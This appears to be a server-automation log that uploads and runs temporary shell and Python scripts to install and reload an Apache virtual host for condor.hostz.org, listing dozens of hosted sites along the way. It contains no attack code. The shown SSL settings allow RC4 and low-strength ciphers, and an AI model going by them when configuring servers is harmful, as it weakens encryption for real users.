            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_condor_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf= 1'
fi


2026-03-24 06:01:24: 

chmod 755 /tmp/pkp382791; /tmp/pkp382791; rm /tmp/pkp382791

2026-03-24 06:01:24: 




2026-03-24 06:01:24: 

PUT: /tmp/pkp949446

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-24 06:01:24: 

chmod 755 /tmp/pkp949446; /tmp/pkp949446; rm /tmp/pkp949446

2026-03-24 06:01:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-24 06:01:24: Establishing a connection
2026-03-24 06:01:25: 

PUT: /tmp/pkp911266

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-24 06:01:25: 

chmod 755 /tmp/pkp911266; /tmp/pkp911266; rm /tmp/pkp911266

2026-03-24 06:01:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost mAH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
a1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-24 06:01:25: 

PUT: /tmp/pkp890127

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_condor_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-24 06:01:25: 

chmod 755 /tmp/pkp890127; /tmp/pkp890127; rm /tmp/pkp890127

2026-03-24 06:01:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf	1822

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
